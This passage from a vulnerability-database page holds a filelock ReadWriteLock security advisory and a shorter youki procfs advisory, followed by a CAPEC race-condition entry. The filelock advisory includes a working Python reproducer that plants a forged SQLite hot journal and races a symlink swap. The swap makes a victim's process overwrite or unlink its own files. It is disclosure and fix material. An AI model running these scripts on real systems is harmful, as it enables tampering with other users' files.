root\u0027s `read_lock()`.\n\nA journal whose super-journal names the database itself makes SQLite open and close a second descriptor on the database, which drops the process\u0027s POSIX locks, so `acquire_read` returns with no lock held in `/proc/locks` and a writer in another process acquires (two journals in a row, one per statement; write locks are not affected). A one-byte `lock.db-wal` plus a `lock.db-shm` on which the other user holds two byte locks makes the acquire take 10 s regardless of `timeout` and raise `locking protocol`, or die with `SIGBUS` if the other user truncates the `-shm`.\n\n**The hard-link route in a directory without the sticky bit.** None of the above occurs on the `_link_beside` branch (macOS, Linux without `/proc`). There SQLite\u0027s main file is `.filelock-\u2026/lock.db` in the connecting user\u0027s `0700` directory. That protection holds only where no other user can rename the `.filelock-*` entry itself, because `0700` protects the contents, not the entry in the parent. `_link_beside` checks the link once and returns a pathname, and every later use is by that name.\n\nWith `/proc` hidden in a `0777` directory, the other user staged a directory holding a hard link `lock.db` to a one-page database and a hot `lock.db-journal`. They held `BEGIN EXCLUSIVE` on the database so the lock user\u0027s first statement waited in the busy handler (SQLite\u0027s retry loop for a locked database), renamed the lock user\u0027s `.filelock-*` directory aside, renamed the staged directory onto its name and rolled back. SQLite got SHARED, found the journal under the swapped name and unlinked the file it named. The lock user\u0027s process reported the lock held and exited 0. A polling variant without the write lock also won (in 40 trials the file was gone after 1 to 26 starts of the lock user\u0027s program). Under the sticky bit the rename fails with `EPERM`.\n\n## Reproduction\n\nThe scanner\u0027s reproducer for `ANT-2026-KMJ2575J`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nas_victim = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nas_attacker = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\n\n# set up: the lock database lives in a shared cache directory, 0777 and not sticky\nshared_dir = \"/tmp/shared-cache\"\nlock_db = shared_dir + \"/cache.lock.db\"\nshutil.rmtree(shared_dir, ignore_errors=True)\nos.mkdir(shared_dir)\nos.chmod(shared_dir, 0o777)\n\n# set up: a private 0600 file of the victim\u0027s in sticky /tmp, which the attacker cannot write\ntarget = \"/tmp/victim-notes.txt\"\nfor leftover in (target, target + \"-journal\"):\n    if os.path.lexists(leftover):\n        os.unlink(leftover)\noriginal = b\"original victim notes\\n\"\nwith open(target, \"wb\") as notes:\n    notes.write(original)\nshutil.chown(target, \"victim\", \"victim\")\nos.chmod(target, 0o600)\ndirect_write = subprocess.run(\n    [sys.executable, \"-c\", \"import sys; open(sys.argv[1], \u0027r+b\u0027)\", target], capture_output=True, text=True, **as_attacker\n)\nprint(\"attacker opening the target for writing:\", direct_write.stderr.strip().splitlines()[-1])\nassert direct_write.returncode != 0\n\n# attack: a hot journal beside the target, and a redirect of the victim\u0027s SQLite from the lock database to the target\ncontent = \"ATTACKER CONTENT WRITTEN BY THE VICTIM\u0027S ReadWriteLock\\n\"\nsubprocess.run([sys.executable, \"/tmp/repro.d/plant_hot_journal.py\", target, content], check=True, **as_attacker)\nredirect = subprocess.Popen(\n    [sys.executable, \"/tmp/repro.d/redirect_lock_db.py\", lock_db, target], stdout=subprocess.PIPE, text=True, **as_attacker\n)\nassert redirect.stdout.readline() == \"ready\\n\"\n\n# the victim takes its read lock; the attacker races each acquire, so the victim runs up to 20 times\nfor run in range(1, 21):\n    victim = subprocess.run(\n        [sys.executable, \"/tmp/repro.d/victim_app.py\", lock_db], capture_output=True, text=True, timeout=60, **as_victim\n    )\n    with open(target, \"rb\") as notes:\n        after = notes.read()\n    if after != original:\n        break\nredirect.kill()\nredirect.wait()\n\n# check: taking a lock on cache.lock.db must leave the victim\u0027s notes alone\nprint(f\"victim run {run}: exit status {victim.returncode}:\", (victim.stderr.strip() or \"no error\").splitlines()[-1])\nstatus = os.stat(target)\nprint(\"target owner, mode, size:\", status.st_uid, oct(status.st_mode \u0026 0o7777), status.st_size)\nprint(\"target before:\", original)\nprint(\"target after: \", after[:60])\nprint(\"BUG\" if after == content.encode().ljust(4096, b\"\\0\") else \"OK\")\n```\n\n**`repro.d/plant_hot_journal.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The attacker: leave a rollback journal beside TARGET whose one record restores TARGET\u0027s first page to CONTENT.\"\"\"\n\nimport os\nimport struct\nimport sys\n\ntarget, content = sys.argv[1], sys.argv[2].encode()\njournal_path = target + \"-journal\"\n\n# https://www.sqlite.org/fileformat2.html#the_rollback_journal\nJOURNAL_MAGIC = bytes.fromhex(\"d9d505f920a163d7\")\npage_size, sector_size, nonce = 4096, 512, 0x11223344\nrecord_count = 1\npages_after_rollback = 1  # SQLite truncates TARGET to this many pages\nheader = JOURNAL_MAGIC + struct.pack(\"\u003eIIIII\", record_count, nonce, pages_after_rollback, sector_size, page_size)\n\npage_number = 1  # page 1 starts at offset 0\npage_image = content.ljust(page_size, b\"\\0\")\n# SQLite\u0027s pager_cksum(): the nonce plus every 200th byte, counting down from page_size - 200\nchecksum = (nonce + sum(page_image[i] for i in range(page_size - 200, 0, -200))) \u0026 0xFFFFFFFF\nrecord = struct.pack(\"\u003eI\", page_number) + page_image + struct.pack(\"\u003eI\", checksum)\n\nwith open(journal_path, \"wb\") as journal:\n    journal.write(header.ljust(sector_size, b\"\\0\") + record)\nos.chmod(journal_path, 0o666)  # the victim\u0027s SQLite opens a hot journal O_RDWR\n```\n\n**`repro.d/redirect_lock_db.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The attacker: make the victim\u0027s SQLite, connecting through /proc/self/fd/\u003cn\u003e, open TARGET instead of LOCK_DB.\"\"\"\n\nimport ctypes\nimport os\nimport sys\n\nlock_db, target = sys.argv[1], sys.argv[2]\nspare_name = lock_db + \".keep\"\n\n# the attacker creates the lock database, world-writable so that the victim\u0027s ReadWriteLock accepts it\nos.close(os.open(lock_db, os.O_CREAT | os.O_WRONLY))\nos.chmod(lock_db, 0o666)\nos.link(lock_db, spare_name)\n\n# what /proc/\u003cpid\u003e/fd/\u003cn\u003e reads back as once the name the descriptor was opened through is unlinked\nos.symlink(target, lock_db + \" (deleted)\")\n\nIN_OPEN = 0x20\nlibc = ctypes.CDLL(None, use_errno=True)\ninotify = libc.inotify_init1(0)\nif libc.inotify_add_watch(inotify, lock_db.encode(), IN_OPEN) \u003c 0:\n    raise OSError(ctypes.get_errno(), \"inotify_add_watch\", lock_db)\nprint(\"ready\", flush=True)\n\nwhile True:\n    os.read(inotify, 4096)  # the victim\u0027s ReadWriteLock has opened the database and is validating its descriptor\n    os.unlink(lock_db)\n    os.link(spare_name, lock_db)  # the same inode back at the path, so filelock\u0027s later lstat sees no change\n```\n\n**`repro.d/victim_app.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The victim: an application that takes its shared read lock once, as in docs/how-to.rst.\"\"\"\n\nimport sys\n\nfrom filelock import ReadWriteLock\n\nrw = ReadWriteLock(sys.argv[1])\nwith rw.read_lock(timeout=5):\n    pass\n```\n\n## Attack sequence\n\nThe redirect, with `A` the other local user:\n\n```mermaid\nsequenceDiagram\n    participant A as other local user\n    participant V as lock user\u0027s process (filelock)\n    participant S as SQLite inside that process\n    participant K as kernel and filesystem\n    rect rgb(255, 214, 214)\n        Note over A,K: filelock 4.0.9 to 4.2.0 on Linux, lock directory 0777 without the sticky bit\n        A-\u003e\u003eK: create cache.lock.db (0666) and a second hard link cache.lock.db.keep\n        A-\u003e\u003eK: symlink \"cache.lock.db (deleted)\" pointing at /tmp/victim-notes.txt\n        A-\u003e\u003eK: write /tmp/victim-notes.txt-journal (hot rollback journal, one page record)\n        V-\u003e\u003eK: open(cache.lock.db, O_RDWR O_CREAT O_NOFOLLOW) gives fd 3, fstat says regular, header not WAL\n        K--\u003e\u003eA: inotify IN_OPEN on cache.lock.db\n        A-\u003e\u003eK: unlink(cache.lock.db) then link(cache.lock.db.keep, cache.lock.db)\n        V-\u003e\u003eS: sqlite3.connect(\"/proc/self/fd/3\")\n        S-\u003e\u003eK: readlink(/proc/self/fd/3) returns \"cache.lock.db (deleted)\"\n        S-\u003e\u003eK: open(\"cache.lock.db (deleted)\") follows the symlink to victim-notes.txt\n        V-\u003e\u003eS: PRAGMA journal_mode=MEMORY\n        S-\u003e\u003eK: open(victim-notes.txt-journal), pread page 1, pwrite it at offset 0 of victim-notes.txt\n        Note over V,K: victim-notes.txt (0600, 22 bytes) is now the other user\u0027s 4096-byte page image, the lock user sees \"disk I/O error\"\n        V-\u003e\u003eK: lstat(cache.lock.db) matches fd 3 identity, so _raise_if_database_replaced passes\n    end\n```\n\nThe side-file variants, which need no redirect:\n\n```mermaid\nflowchart TD\n    B0[\"acquire validates fd, connects SQLite by a name in the shared directory\"] --\u003e B1{\"what did the other user put beside the real path?\"}\n    B1 -- \"hot -journal beside a swapped-in one-page database\" --\u003e B2[\"PRAGMA replays the journal, then unlinks the super-journal file it names, acquire succeeds\"]\n    B1 -- \"-wal re-created between PRAGMA and BEGIN\" --\u003e B3[\"holder in WAL mode, reader admitted beside the writer, SIGBUS when -shm is truncated\"]\n    B1 -- \"-wal in a sticky directory the lock user cannot unlink\" --\u003e B4[\"every acquire raises OperationalError disk I/O error, timeout ignored\"]\n    B1 -- \"name unlinked and a (deleted) symlink planted\" --\u003e B5[\"SQLite opens the symlink target with O_CREAT\"]\n    classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;\n    classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;\n    classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;\n    class B0,B1 info;\n    class B2,B3,B4,B5 bad;\n```\n\n## Evidence\n\nThe scanner\u0027s reproducer runs the documented `ReadWriteLock(path)` + `with rw.read_lock(timeout=5):` as user `victim` against `/tmp/shared-cache/cache.lock.db` (directory `0777`, not sticky) while user `attacker` holds the symlink and reacts to inotify. It first shows that `attacker` cannot write the target (`PermissionError: [Errno 13] Permission denied: \u0027/tmp/victim-notes.txt\u0027`). On the first `victim` run it prints `victim run 1: exit status 1: sqlite3.OperationalError: disk I/O error`, `target owner, mode, size: 1000 0o600 4096`, target before `b\u0027original victim notes\\n\u0027`, after `b\"ATTACKER CONTENT WRITTEN BY THE VICTIM\u0027S ReadWriteLock\\n\\x00...\"`, verdict `BUG`. Reacting to inotify redirected the first acquire in 77 of 77 runs. A plain unlink/link busy loop with no inotify also won on the first run. A process holding two `ReadWriteLock` instances on one database keeps an idle descriptor; a swap done a full second before the second acquire redirected it. The `-wal` re-plant landed on the first attempt in 20 of 20 runs. The journal-unlink variant needs no race.\n\nOur verification: the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head it prints `OK`: all 20 `victim` runs exit 0 with no error and the target stays `1000 0o600 22` bytes with its original content. The independent review also ran the sticky-directory `-wal` variant (a `0600` database owned by `victim` in a `1777` directory, other user plants `\u003cdb\u003e-wal`). 4.2.0 raises `OperationalError: disk I/O error`; the PR head takes read and write locks with the file still present.\n\n## Impact\n\nAnother local user who can write the non-sticky directory holding the database makes the lock user\u0027s process act on a file other than the lock database, with the lock user\u0027s privileges, on Linux. The process writes bytes of the other user\u0027s choosing from offset 0 into any non-empty regular file the lock user can write, resized to a whole number of pages, provided the other user can create `\u003cfile\u003e-journal` beside it (the lock user\u0027s own `0600` files in `/tmp` qualify). Without a journal the process creates an empty file at any path it may create, or converts a WAL-mode SQLite database of its own to rollback mode with no error. A journal beside a swapped-in database makes the process unlink one regular file of the other user\u0027s choosing per journal; the acquire succeeds and raises nothing. A process inside `write_lock()` stops excluding the lock user\u0027s other processes from `read_lock()`, and the holder can die from a `SIGBUS` that arrives in `release()`.\n\nIt is **not** reachable for a database the lock user owns in `/tmp` with `fs.protected_regular` 1 or 2. There only the planted `-wal` denial of service remains: every acquire raises an undocumented `sqlite3.OperationalError` that `Timeout` and `OSError` handlers do not catch. It is a bypass of the fix for GHSA-j8f7-rjxc-mr56 (4.0.9), which refused the symlink at the database path but followed it at `\u003cdatabase\u003e (deleted)`. Windows does not take this path.\n\n## Workarounds\n\n- Keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one `ReadWriteLock` database between accounts through a `0777` or group-writable directory. The lock creates its database `0600`, and leaving it that way keeps other accounts from supplying its content.\n- For a lock in a sticky directory keep `fs.protected_regular` at 1 or 2 and `fs.protected_hardlinks=1` (distribution defaults). Treat a sudden `sqlite3.OperationalError: disk I/O error` on every acquire as a foreign `\u003cdb\u003e-wal` beside the database that the file\u0027s owner or root has to remove.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 00:46 UTC: draft advisory created\n- 2026-10-16 01:15 UTC: fix PR #834 opened",
  "id": "GHSA-v4x8-3wr5-3wq8",
  "modified": "2026-10-23T21:59:08Z",
  "published": "2026-10-23T21:59:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112940"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/pull/834"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tox-dev/filelock"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user\u0027s process overwrite or unlink its own files"
}

GHSA-VF95-55W6-QMRF

Vulnerability from github – Published: 2025-11-05 18:45 – Updated: 2025-11-15 02:25
VLAI
Summary
youki container escape and denial of service due to arbitrary write gadgets and procfs write redirects
Details

Impact

youki’s apparmor handling performs insufficiently strict write-target validation, which—combined with path substitution during pathname resolution—can allow writes to unintended procfs locations.

Weak write-target check youki only verifies that the destination lies somewhere under procfs. As a result, a write intended for /proc/self/attr/apparmor/exec can succeed even if the path has been redirected to /proc/sys/kernel/hostname(which is also in procfs).

Path substitution While resolving a path component-by-component, a shared-mount race can substitute intermediate components and redirect the final target.

This is a different project, but the core logic is similar to the CVE in runc. Issues were identified in runc, and verification was also conducted in youki to confirm the problems. https://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm

Credits

Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering runc's original vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "youki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-363",
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-05T18:45:18Z",
    "nvd_published_at": "2025-11-06T00:15:37Z",
    "severity": "HIGH"
  },
  "details": "### Impact ###\n\nyouki\u2019s apparmor handling performs insufficiently strict write-target validation, which\u2014combined with path substitution during pathname resolution\u2014can allow writes to unintended procfs locations.\n\n**Weak write-target check**\nyouki only verifies that the destination lies somewhere under procfs. As a result, a write intended for `/proc/self/attr/apparmor/exec` can succeed even if the path has been redirected to `/proc/sys/kernel/hostname`(which is also in procfs).\n\n**Path substitution**\nWhile resolving a path component-by-component, a shared-mount race can substitute intermediate components and redirect the final target.\n\nThis is a different project, but the core logic is similar to the CVE in runc. Issues were identified in runc, and verification was also conducted in youki to confirm the problems.\nhttps://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm\n\n### Credits ###\n\nThanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and T\u00f5nis Tiigi (@tonistiigi from Docker) for both independently discovering runc\u0027s original vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions.",
  "id": "GHSA-vf95-55w6-qmrf",
  "modified": "2025-11-15T02:25:28Z",
  "published": "2025-11-05T18:45:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/youki-dev/youki/security/advisories/GHSA-vf95-55w6-qmrf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62596"
    },
    {
      "type": "WEB",
      "url": "https://github.com/youki-dev/youki/commit/5886c91073b9be748bd8d5aed49c4a820548030a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/youki-dev/youki"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/github.com/cyphar/filepath-securejoin/pathrs-lite/procfs"
    },
    {
      "type": "WEB",
      "url": "https://youtu.be/tGseJW_uBB8"
    },
    {
      "type": "WEB",
      "url": "https://youtu.be/y1PaBzxwRWQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "youki container escape and denial of service due to arbitrary write gadgets and procfs write redirects"
}

No mitigation information available for this CWE.

CAPEC-26: Leveraging Race Conditions

The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file.